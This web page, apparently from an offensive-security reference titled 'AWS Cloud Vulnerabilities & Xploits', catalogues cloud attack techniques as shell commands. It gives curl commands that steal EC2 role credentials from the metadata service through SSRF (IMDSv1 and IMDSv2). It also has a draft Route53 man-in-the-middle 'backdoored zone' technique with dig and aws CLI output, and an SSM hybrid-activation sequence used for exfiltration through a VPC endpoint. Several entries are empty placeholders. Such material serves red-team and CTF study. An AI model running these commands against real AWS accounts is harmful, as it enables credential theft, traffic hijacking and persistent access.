On this page
cloud
AWS
AWS Cloud Vulnerabilities & Xploits.
cvx-aws-exfil-imdsv1
Context:
- Data exfiltration, including credentials, via SSRF targeting AWS Instance MetaData Service version 1.
[~]$ #IPv6
[~]$ BOMA_YE="http://[fd00:ec2::254]/latest/meta-data"
[~]$ #IPv4
[~]$ BOMA_YE="http://169.254.169.254/latest/meta-data"
[~]$ curl -X GET "$BOMA_YE/identity-credentials/ec2/security-credentials/ec2-instance"
cvx-aws-exfil-imdsv2
Context:
- Data exfiltration, including credentials, via SSRF targeting AWS Instance MetaData Service version 2.
[~]$ #IPv6
[~]$ BOMA_YE="http://[fd00:ec2::254]/latest"
[~]$ #IPv4
[~]$ BOMA_YE="http://169.254.169.254/latest"
[~]$ API_TOKEN=`curl -X PUT "$BOMA_YE/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"`
[~]$ curl -X GET "$BOMA_YE/meta-data/identity-credentials/ec2/security-credentials/ec2-instance" -H "X-aws-ec2-metadata-token: $API_TOKEN"
cvx-aws-mitm-r53
[Draft - some AWS changes does not allow the core idea anymore] Legitimate usage:
![]()
[~]$ dig -t SOA ctf.livingoffthecloud.com
...
;; Got answer:
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
;; QUESTION SECTION:
;ctf.livingoffthecloud.com. IN SOA
;; ANSWER SECTION:
ctf.livingoffthecloud.com. 1800 IN SOA ns-707.awsdns-24.net. awsdns-hostmaster.amazon.com. 1 7200 900 1209600 86400
...
[~]$ dig -t NS ctf.livingoffthecloud.com
...
;; Got answer:
;; flags: qr rd ra; QUERY: 1, ANSWER: 4, AUTHORITY: 0, ADDITIONAL: 1
;; QUESTION SECTION:
;ctf.livingoffthecloud.com. IN NS
;; ANSWER SECTION:
ctf.livingoffthecloud.com. 1800 IN NS ns-92.awsdns-11.com.
ctf.livingoffthecloud.com. 1800 IN NS ns-1039.awsdns-01.org.
ctf.livingoffthecloud.com. 1800 IN NS ns-1793.awsdns-32.co.uk.
ctf.livingoffthecloud.com. 1800 IN NS ns-707.awsdns-24.net.
...
[~]$ dig -t CNAME api.ctf.livingoffthecloud.com
...
;; Got answer:
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
;; QUESTION SECTION:
;api.ctf.livingoffthecloud.com. IN CNAME
;; ANSWER SECTION:
api.ctf.livingoffthecloud.com. 1008 IN CNAME cvqufr9swb.execute-api.us-east-1.amazonaws.com.
...
[~]$ aws route53 list-hosted-zones
{
"HostedZones": [
{
"Id": "/hostedzone/Z0377896RJTE74D75VQ8",
"Name": "ctf.livingoffthecloud.com.",
"CallerReference": "f7bf2d10-7ce9-4f28-8a5c-a02599b64aec",
"Config": {
"Comment": "The ctf dedicated subdomain",
"PrivateZone": false
},
"ResourceRecordSetCount": 3
}
]
}
[~]$ aws route53 list-reusable-delegation-sets
{
"DelegationSets": [],
"IsTruncated": false,
"MaxItems": "100"
}
[~]$ aws route53 create-reusable-delegation-set --caller-reference "cvx" --hosted-zone-id "/hostedzone/Z0377896RJTE74D75VQ8"
{
"Location": "https://route53.amazonaws.com/2013-04-01/delegationset/N07265441X2TPFMELEFI3",
"DelegationSet": {
"Id": "/delegationset/N07265441X2TPFMELEFI3",
"CallerReference": "cvx",
"NameServers": [
"ns-707.awsdns-24.net",
"ns-1039.awsdns-01.org",
"ns-92.awsdns-11.com",
"ns-1793.awsdns-32.co.uk"
]
}
}
[~]$ aws route53 list-reusable-delegation-sets
{
"DelegationSets": [
{
"Id": "/delegationset/N07265441X2TPFMELEFI3",
"CallerReference": "cvx",
"NameServers": [
"ns-707.awsdns-24.net",
"ns-1039.awsdns-01.org",
"ns-92.awsdns-11.com",
"ns-1793.awsdns-32.co.uk"
]
}
],
"IsTruncated": false,
"MaxItems": "100"
}
Man-In-The-Middle:
Context:
- Create a backdoored zone with a specoific delegation set but display the old main NameServers as the one displayed on the AWS console/API.
Learn more
cvx-aws-exfil-vpce
Context:
- Abusing of the an existance of a VPC endpoint in a Virtual Private Cloud.
Simple Systems Manager (SSM) hybrid activation
[~]$ REGION="us-east-1"
[~]$ ACTIVATION_ID="XXXXXXXX"
[~]$ ACTIVATION_CODE="YYYYYYYY"
[~]$ #OS="debian"
[~]$ OS="linux"
[~]$ #ARCH="arm"
[~]$ ARCH="amd64"
[~]$ mkdir /tmp/ssm
[~]$ curl "https://amazon-ssm-$REGION.s3.$REGION.amazonaws.com/latest/$OS_$ARCH/ssm-setup-cli" -o /tmp/ssm/ssm-setup-cli
[~]$ sudo chmod +x /tmp/ssm/ssm-setup-cli
[~]$ sudo /tmp/ssm/ssm-setup-cli -register -activation-code "$ACTIVATION_CODE" -activation-id "$ACTIVATION_ID" -region "$REGION"
cvx-aws-pwn-idp-ext
Context:
- Stay tuned.
cvx-aws-pwn-role-ext
Context:
- Stay tuned.
cvx-aws-pwn-user-ext
Context:
- Stay tuned.
cvx-aws-pwn-func-pub
Context:
- Stay tuned.
cvx-aws-pwn-ssm-ext
Context:
- Stay tuned.